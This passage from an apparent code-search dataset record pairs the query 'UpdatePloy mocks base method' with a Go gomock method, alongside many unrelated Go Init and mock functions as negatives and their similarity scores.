*OnPrem) Initialize() error {\n\treturn nil\n}", "func (p *OnPrem) Initialize() error {\n\treturn nil\n}", "func (t *ChaincodeExample) Init(stub shim.ChaincodeStubInterface, param *appinit.Init) error {\n\n\treturn nil\n}", "func (t *ProductChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\tlogger.Debug(\"Init\")\n\treturn shim.Success(nil)\n}", "func (mr *MockSystemContractMockRecorder) Init(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockSystemContract)(nil).Init), arg0, arg1, arg2)\n}", "func Init() {\n\t// noop for now\n}", "func Init() {\n\t// noop for now\n}", "func (cc *ValidatorChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, params := stub.GetFunctionAndParameters()\n\tlogger.Info(function, params)\n\treturn shim.Success(nil)\n}", "func (c *PanoPoli) Initialize(i util.XapiClient) {\n c.Nat = &nat.PanoNat{}\n c.Nat.Initialize(i)\n\n c.PolicyBasedForwarding = &pbf.PanoPbf{}\n c.PolicyBasedForwarding.Initialize(i)\n\n c.Security = &security.PanoSecurity{}\n c.Security.Initialize(i)\n}", "func (_m *MockMutableSeriesIteratorsPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func (mr *MockPluginInitializerClientMockRecorder) Init(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockPluginInitializerClient)(nil).Init), varargs...)\n}", "func (b *KRMBlueprintTest) DefineInit(init func(*assert.Assertions)) {\n\tb.init = init\n}", "func (t *BenchmarkerChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\targs := stub.GetStringArgs()\n\n\tif len(args) != 1 {\n\t\treturn shim.Error(fmt.Sprintf(\"Incorrect number of arguments. Expecting 1. You gave %+v\", args))\n\t}\n\n\treturn shim.Success(nil)\n}", "func Test_Init(t *testing.T) {\n\tscc := new(SmartContract)\n\tstub := shim.NewMockStub(\"hcdm\", scc)\n\n\t// Init A=123 B=234\n\tcheckInit(t, stub)\n\n}", "func Init() {}", "func Init() {}", "func (_mr *MockEncoderPoolMockRecorder) Init(arg0 interface{}) *gomock.Call {\n\treturn _mr.mock.ctrl.RecordCallWithMethodType(_mr.mock, \"Init\", reflect.TypeOf((*MockEncoderPool)(nil).Init), arg0)\n}", "func markInitializationFailure(pod *v1.Pod) {\n\tpod.ObjectMeta.Initializers.Result = &metav1.Status{Status: metav1.StatusFailure}\n}", "func (i *InvariantsChecker) Init() {\n\ti.initStatus = colexecop.OperatorInitialized\n\ti.Input.Init()\n}", "func (c *PcXchng) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\treturn shim.Success(nil) // nothing to initialize\n}", "func (b *TestDriver) Init() (err error) {\n\tlog.Println(\"Init Drone\")\n\treturn\n}", "func (obj *InstallPhase) Init() {\n\tif obj.Status.ActualState == \"\" {\n\t\tobj.Status.ActualState = StateUninitialized\n\t}\n\tif obj.Spec.TargetState == \"\" {\n\t\tobj.Spec.TargetState = StateDeployed\n\t}\n\tobj.Status.Succeeded = (obj.Spec.TargetState == obj.Status.ActualState)\n}", "func (_m *MockSeriesIteratorPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func (_e *MockQueryCoord_Expecter) Init() *MockQueryCoord_Init_Call {\n\treturn &MockQueryCoord_Init_Call{Call: _e.mock.On(\"Init\")}\n}", "func (fashion *FashionChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response {\n\tfmt.Println(\"init executed\")\n\t//logger.Debug(\"Init executed for log\")\n\n\treturn shim.Success(nil)\n}", "func (token *TokenChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response{\n\tfmt.Println(\"Init Executed\")\n\t\n\tlogger.Debug(\"Init executed - DEBUG\") //debugging message outputs\n\treturn shim.Success(nil) //return success\n}", "func IsInit() bool {\n\treturn false\n}", "func (i *I2PGatePlugin) Init() error {\n /*i := Setup()\n if err != nil {\n\t\treturn nil, err\n\t}*/\n\treturn nil\n}", "func (contract *ContractChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response {\n\tfmt.Println(\"Init executed\")\n\treturn shim.Success(nil)\n}", "func (mr *MockInterfaceMockRecorder) Init(pipelineData, config, client interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockInterface)(nil).Init), pipelineData, config, client)\n}", "func (mr *MockDBMockRecorder) Init(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockDB)(nil).Init), arg0)\n}", "func (p *PassthruChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\tfunction, _ := stub.GetFunctionAndParameters()\n\tif strings.Index(function, \"error\") >= 0 {\n\t\treturn shim.Error(function)\n\t}\n\treturn shim.Success([]byte(function))\n}", "func (s *SmartContract) Init(APIstub shim.ChaincodeStubInterface) sc.Response {\n fmt.Println(\"Calling instantiate method.\")\n return shim.Success(nil)\n}", "func (p *Plugin) Init() error {\n\treturn p.IdempotentInit(plugintools.LoggingInitFunc(p.Log, p, p.init))\n}", "func (cc *Chaincode) Init(stub shim.ChaincodeStubInterface) sc.Response {\n\tfcn, params := stub.GetFunctionAndParameters()\n\tfmt.Println(\"Init()\", fcn, params)\n\treturn shim.Success(nil)\n}", "func (cc *Chaincode) Init(stub shim.ChaincodeStubInterface) sc.Response {\n\tfcn, params := stub.GetFunctionAndParameters()\n\tfmt.Println(\"Init()\", fcn, params)\n\treturn shim.Success(nil)\n}", "func (cc *Chaincode) Init(stub shim.ChaincodeStubInterface) sc.Response {\n\tfcn, params := stub.GetFunctionAndParameters()\n\tfmt.Println(\"Init()\", fcn, params)\n\treturn shim.Success(nil)\n}", "func (mr *MockServiceMockRecorder) Init() *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockService)(nil).Init))\n}", "func (mr *MockmonitorInterfaceMockRecorder) GetPloy() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPloy\", reflect.TypeOf((*MockmonitorInterface)(nil).GetPloy))\n}", "func (p *AbstractRunProvider) Init() error {\n\treturn nil\n}", "func (t *OpetCode) Init(stub shim.ChaincodeStubInterface) sc.Response {\n return shim.Success(nil)\n}", "func MustInit(cmp *mcmp.Component) {\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\n\tdebugLog(cmp, \"initializing\")\n\tif err := mrun.Init(ctx, cmp); err != nil {\n\t\tmlog.From(cmp).Fatal(\"initialization failed\", merr.Context(err))\n\t}\n\tdebugLog(cmp, \"initialization completed successfully\")\n}", "func (r *PodTestRunner) Initialize(ctx context.Context) error {\n\tbundleData, err := r.getBundleData()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error getting bundle data %w\", err)\n\t}\n\n\tr.configMapName, err = r.CreateConfigMap(ctx, bundleData)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating ConfigMap %w\", err)\n\t}\n\treturn nil\n\n}", "func (r *PodTestRunner) Initialize(ctx context.Context) error {\n\tbundleData, err := r.getBundleData()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error getting bundle data %w\", err)\n\t}\n\n\tr.configMapName, err = r.CreateConfigMap(ctx, bundleData)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error creating ConfigMap %w\", err)\n\t}\n\n\treturn nil\n\n}", "func (mr *MockmonitorInterfaceMockRecorder) UpdatePloy(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePloy\", reflect.TypeOf((*MockmonitorInterface)(nil).UpdatePloy), arg0, arg1)\n}", "func PbrInit(ctx *zedrouterContext) {\n\n\tlog.Tracef(\"PbrInit()\\n\")\n}", "func (t *ManageProposal) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tvar msg string\n\tvar err error\n\tif len(args) != 1 {\n\t\treturn nil, errors.New(\"Incorrect number of arguments. Expecting 1\")\n\t}\n\t// Initialize the chaincode\n\tmsg = args[0]\n\tfmt.Println(\"ManageProposal chaincode is deployed successfully.\");\n\t\n\t// Write the state to the ledger\n\terr = stub.PutState(\"abc\", []byte(msg))\t//making a test var \"abc\", I find it handy to read/write to it right away to test the network\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar proposal_form_empty []string\n\tproposal_form_empty_json_as_bytes, _ := json.Marshal(proposal_form_empty)\t\t\t\t\t\t\t\t//marshal an emtpy array of strings to clear the index\n\terr = stub.PutState(approved_proposal_entry, proposal_form_empty_json_as_bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn nil, nil\n}", "func (d *Plugin) ValidateInitialization() error {\n\tif d.barLister == nil {\n\t\treturn fmt.Errorf(\"Foos Plugin missing Foos policy lister\")\n\t}\n\treturn nil\n}", "func (c *SimpleChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\tfmt.Println(\"Chaincode Initiated\")\n\treturn shim.Success(nil)\n}", "func TestEarlybirdCfg_ConfigInit(t *testing.T) {\n\teb.ConfigInit()\n}", "func (t *SBITransaction) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tfmt.Println(\"Inside INIT for test chaincode\")\n\treturn nil, nil\n}", "func initIpfixPlugin(ctx *core.PluginCtx) {\n\tif Init {\n\t\treturn\n\t}\n\n\tSimulation = ctx.Tctx.Simulation\n\tconfigureLogger(ctx.Tctx.GetVerbose())\n\n\tInit = true\n}", "func (mr *MockSpaceStorageMockRecorder) Init(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Init\", reflect.TypeOf((*MockSpaceStorage)(nil).Init), arg0)\n}", "func (s *SmartContract) Init(stub shim.ChaincodeStubInterface) peer.Response {\n // No action, because there is no components at the very beginning\n return shim.Success(nil)\n}", "func hasInit(b *testing.B) {\n\tif hasIntSet64Data == nil {\n\t\thasIntSet64Data, hasIntSet32Data, hasIntMapData = generateSets(*max_range, *count)\n\t\tb.ResetTimer()\n\t}\n}", "func (cc *Chaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\treturn shim.Success(nil)\n}", "func (c *V1) EnsureInit() error {\n\tc.initOnce.Do(c.init)\n\treturn c.perPathConfigsReaderInitErr\n}", "func (_m *MockIteratorArrayPool) Init() {\n\t_m.ctrl.Call(_m, \"Init\")\n}", "func (c *ChainCode) Init(ctx contractapi.TransactionContextInterface) error {\r\n \r\n _, err := set(ctx.GetStub(), NEXT_SHOW_ID, \"0\")\r\n _, err = set(ctx.GetStub(), NEXT_TICKET_ID, \"0\")\r\n \r\n if err != nil {\r\n return \"nil\", fmt.Errorf(err.Error())\r\n }\r\n \r\n return nil\r\n}", "func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\tfmt.Println(\"App Is Starting Up\")\n\t_, args := stub.GetFunctionAndParameters()\n\tvar err error\n\t\n\tfmt.Println(\"Init() args count:\", len(args))\n\tfmt.Println(\"Init() args found:\", args)\n\n\t// expecting 1 arg for instantiate or upgrade\n\tif len(args) == 1 {\n\t\tfmt.Println(\"Init() arg[0] length\", len(args[0]))\n\n\t\t// expecting arg[0] to be length 0 for upgrade\n\t\tif len(args[0]) == 0 {\n\t\t\tfmt.Println(\"args[0] is empty... must be upgrading\")\n\t\t} else {\n\t\t\tfmt.Println(\"args[0] is not empty, must be instantiating\")\n\t\t}\n\t}\n\t\n\tvar allAbattoirReceivedIds AllAbattoirReceivedIds\n\tjsonAsBytesPurchaseOrderReferenceNumbers, _ := json.Marshal(allAbattoirReceivedIds)\n\terr = stub.PutState(\"allAbattoirReceivedIds\", jsonAsBytesPurchaseOrderReferenceNumbers)\n\tif err != nil {\t\t\n\t\treturn shim.Error(err.Error())\n\t}\n\t\n\tvar allAbattoirDispatchIds AllAbattoirDispatchIds\n\tjsonAsBytesAllAbattoirDispatchIds, _ := json.Marshal(allAbattoirDispatchIds)\n\terr = stub.PutState(\"allAbattoirDispatchIds\", jsonAsBytesAllAbattoirDispatchIds)\n\tif err != nil {\t\t\n\t\treturn shim.Error(err.Error())\n\t}\n\t\n\tvar allLogisticTransactionIds AllLogisticTransactionIds\n\tjsonAsBytesAllLogisticTransactionIds, _ := json.Marshal(allLogisticTransactionIds)\n\terr = stub.PutState(\"allLogisticTransactionIds\", jsonAsBytesAllLogisticTransactionIds)\n\tif err != nil {\t\t\n\t\treturn shim.Error(err.Error())\n\t}\n\n\tvar allProcessorPOs AllProcessorPOs\n\tvar processorPOs ProcessorPOs\n\tprocessorPOs.SalesOrder = \"SOBF001\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF001\";\n\tprocessorPOs.ProcessorId = \"1\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF002\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF002\";\n\tprocessorPOs.ProcessorId = \"1\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF003\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF003\";\n\tprocessorPOs.ProcessorId = \"1\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF004\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF004\";\n\tprocessorPOs.ProcessorId = \"1\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF005\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF005\";\n\tprocessorPOs.ProcessorId = \"1\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF006\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF006\";\n\tprocessorPOs.ProcessorId = \"2\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF007\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF007\";\n\tprocessorPOs.ProcessorId = \"2\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF008\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF008\";\n\tprocessorPOs.ProcessorId = \"2\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF009\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF009\";\n\tprocessorPOs.ProcessorId = \"2\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\n\tprocessorPOs.SalesOrder = \"SOBF0010\";\n\tprocessorPOs.PurchaseOrderReferenceNumber = \"POBF0010\";\n\tprocessorPOs.ProcessorId = \"2\";\n\tallProcessorPOs.ProcessorPOs = append(allProcessorPOs.ProcessorPOs,processorPOs);\t\n\n\tjsonAsBytesallProcessorPOs, _ := json.Marshal(allProcessorPOs)\n\terr = stub.PutState(\"allProcessorPOs\", jsonAsBytesallProcessorPOs)\n\tif err != nil {\t\t\n\t\treturn shim.Error(err.Error())\n\t}\n\n\tfmt.Println(\" - ready for action\") \n\treturn shim.Success(nil)\n}", "func Init() {\n\n}", "func (p *ExamplePlugin) Init() error {\n\treturn nil\n}", "func (p *ExamplePlugin) Init() error {\n\treturn nil\n}", "func (t *SimpleChaincode) Init(APIstub shim.ChaincodeStubInterface) pb.Response {\n\treturn shim.Success(nil)\n}", "func Init() {\n}", "func (pm *personManagement) Init(stub shim.ChaincodeStubInterface) peer.Response {\n\tpm.actions = map[string]PersonAction{\n\t\t\"addPerson\": pm.AddPerson,\n\t}\n\n\tfmt.Println(\"Chaincode has been initialized\")\n\tfmt.Println(\"Following actions are available\")\n\tfor action := range pm.actions {\n\t\tfmt.Printf(\"\\t\\t%s\\n\", action)\n\t}\n\treturn shim.Success(nil)\n}", "func (a adapter) Init(stub shim.ChaincodeStubInterface, function string, args []string) ([]byte, error) {\n\tlogger.Infof(\"A chaincode [%v] is deployed\", a.Chaincode)\n\treturn []byte(\"ok\"), nil\n}", "func (cc *Chaincode) Init(stub shim.ChaincodeStubInterface) sc.Response {\n\t_, _ = stub.GetFunctionAndParameters()\n\n\treturn shim.Success(nil)\n}", "func init() {\n fmt.Println(\"call init\")\n}", "func (t *IntegralChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\treturn shim.Success(nil)\n}", "func (n Noop) Init(_ int) error {\n\treturn nil\n}", "func (p *HelloWorld) Init(reg *types.Register, pm types.ProcessManager, cn types.Provider) error {\n\tp.pm = pm\n\tp.cn = cn\n\tif vp, err := pm.ProcessByName(\"fleta.vault\"); err != nil {\n\t\treturn err\n\t} else if v, is := vp.(*vault.Vault); !is {\n\t\treturn types.ErrInvalidProcess\n\t} else {\n\t\tp.vault = v\n\t}\n\n\treg.RegisterTransaction(1, &Hello{})\n\n\treturn nil\n}", "func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\treturn shim.Success(nil)\n}", "func (t *SimpleChaincode) Init(stub shim.ChaincodeStubInterface) pb.Response {\n\treturn shim.Success(nil)\n}" ]
[ "0.62557554", "0.6235095", "0.61270386", "0.5923231", "0.57722557", "0.5738467", "0.57139814", "0.5704767", "0.56930864", "0.56929004", "0.56590277", "0.5621543", "0.5617692", "0.55777276", "0.55627704", "0.55619305", "0.5554698", "0.55416846", "0.55329555", "0.55212426", "0.55118805", "0.5494385", "0.54554117", "0.54340076", "0.5418194", "0.5402669", "0.53972226", "0.53972226", "0.53957987", "0.5394188", "0.53918904", "0.53877676", "0.53877676", "0.5387505", "0.5385653", "0.538293", "0.537205", "0.5366054", "0.53601676", "0.5353269", "0.53370565", "0.53370565", "0.5327343", "0.53229403", "0.5319133", "0.53180605", "0.53100604", "0.53076243", "0.5303502", "0.5296517", "0.5284679", "0.52797896", "0.5278336", "0.52755153", "0.52679616", "0.52647346", "0.5247812", "0.5240644", "0.5239071", "0.52327675", "0.5232684", "0.5232684", "0.5232684", "0.52284646", "0.5223351", "0.5218489", "0.52159667", "0.52155614", "0.5214496", "0.52102065", "0.52086294", "0.52048224", "0.5180324", "0.51799065", "0.51648295", "0.5160306", "0.515162", "0.5148633", "0.514774", "0.5146466", "0.5130487", "0.5125202", "0.51101667", "0.5105204", "0.5103418", "0.5092802", "0.5091268", "0.5087458", "0.5087458", "0.5084303", "0.50788224", "0.5078185", "0.5076568", "0.5074049", "0.5073585", "0.5070064", "0.50659275", "0.50586396", "0.50560486", "0.50560486" ]
0.73752683
0
UpdatePloy mocks base method
func (m *MockmonitorInterface) UpdatePloy(arg0 string, arg1 int) { m.ctrl.T.Helper() m.ctrl.Call(m, "UpdatePloy", arg0, arg1) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockRepository) Update(arg0 int, arg1 entity.FeiraLivre) (*entity.FeiraLivre, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(*entity.FeiraLivre)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockManager) UpdateVersion() {\n\tm.ctrl.Call(m, \"UpdateVersion\")\n}", "func (m *MockService) Update(arg0 interface{}) error {\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUsecase) Update(arg0 models.Profile) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockInterface) Update(ctx context.Context, persistentVolume *v1.PersistentVolume, opts metav1.UpdateOptions) (*v1.PersistentVolume, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, persistentVolume, opts)\n\tret0, _ := ret[0].(*v1.PersistentVolume)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockNotepadsRepo) Update(arg0 domain.Notepad) (domain.Notepad, error) {\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(domain.Notepad)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockHandler) Update(ctx context.Context, exactType string, tasks []models.Task) error {\n\tret := m.ctrl.Call(m, \"Update\", ctx, exactType, tasks)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockRepository) Update(e *entity.StreetMarket) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", e)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockBookKeeping) Update(arg0 context.Context, arg1 models.BookKeeping) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockSystemImpl) Update(s *models.System) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", s)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockMempool) Update(blockHeight int64, blockTxs types1.Txs, deliverTxResponses []*types0.ResponseDeliverTx, newPreFn mempool.PreCheckFunc, newPostFn mempool.PostCheckFunc) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", blockHeight, blockTxs, deliverTxResponses, newPreFn, newPostFn)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockKeystore) Update(keyValues []keystoreregistry.KeyValueVersion) error {\n\tret := m.ctrl.Call(m, \"Update\", keyValues)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockPodInterface) Update(arg0 *v1.Pod) (*v1.Pod, error) {\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(*v1.Pod)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *FakeApiServer) Update(arg0 schema.GroupVersionResource, arg1 string, arg2 runtime.Object) (runtime.Object, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(runtime.Object)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockItemRepository) Update(arg0 *items.Item) (int64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(int64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockWriter) Update(e *entity.StreetMarket) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", e)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockRepoKeeper) Update(name string, upd *state.Repository) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", name, upd)\n}", "func (m *MockHTTP) Update(w http.ResponseWriter, r *http.Request) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", w, r)\n}", "func (m *MockUpdater) Update(arg0 float64) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", arg0)\n}", "func (m *MockParticipantStore) Update(arg0 three.Participant) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUserUsecase) Update(id int, passwordHash, name string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", id, passwordHash, name)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTerraformResource) Update(d *schema.ResourceData, meta interface{}) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", d, meta)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockCompany) Update(arg0 domain.Company) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockStore) Update(s *IDPSession, expireAt time.Time) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", s, expireAt)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockStorage) Update(arg0 model.Car) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUserRepo) Update(arg0 *app.User) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockSaaSSystemConfigManager) Update(systemConfig sdao.SaaSSystemConfig) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", systemConfig)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *Mockpersistent) Update(arg0 string, arg1 *field_mask.FieldMask, arg2 proto.Message) (proto.Message, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(proto.Message)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPageTable) Update(arg0 vm.Page) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", arg0)\n}", "func (r *MockRepoManager) mockUpdate() {\n\tr.mtx.Lock()\n\tdefer r.mtx.Unlock()\n\tr.updateCount++\n}", "func (m *MockNamespaceKeeper) Update(name string, upd *state.Namespace) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", name, upd)\n}", "func (m *MockProductUC) Update(arg0 context.Context, arg1 int, arg2 *entity.Product) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockFlag) Update(arg0 context.Context, arg1 string, arg2 flaggio.UpdateFlag) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockFamilyRepo) Update(arg0 models.Family) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockOauthApplicationRepository) Update(ktx kontext.Context, ID int, data entity.OauthApplicationUpdateable, tx db.TX) exception.Exception {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ktx, ID, data, tx)\n\tret0, _ := ret[0].(exception.Exception)\n\treturn ret0\n}", "func (m *MockRepository) Update(tag *models.RestTag) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", tag)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (_m *ProductBackend) Update(product *model.Product) error {\n\tret := _m.Called(product)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(*model.Product) error); ok {\n\t\tr0 = rf(product)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockDynamicNode) Update(delta time.Duration) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", delta)\n}", "func (m *MockJobClient) Update(arg0 *v1.Job) (*v1.Job, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(*v1.Job)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockModuleService) UpdateModuleByVersion(arg0 *models.Module) (*models.Module, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateModuleByVersion\", arg0)\n\tret0, _ := ret[0].(*models.Module)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m_2 *MockOrderDao) UpdateByNo(orderNo string, m map[string]interface{}) error {\n\tm_2.ctrl.T.Helper()\n\tret := m_2.ctrl.Call(m_2, \"UpdateByNo\", orderNo, m)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockContentRepository) Update(arg0 domain.Content) (int, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(int)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m_2 *MockUserRepository) Update(m *model.User) (*model.User, error) {\n\tm_2.ctrl.T.Helper()\n\tret := m_2.ctrl.Call(m_2, \"Update\", m)\n\tret0, _ := ret[0].(*model.User)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", 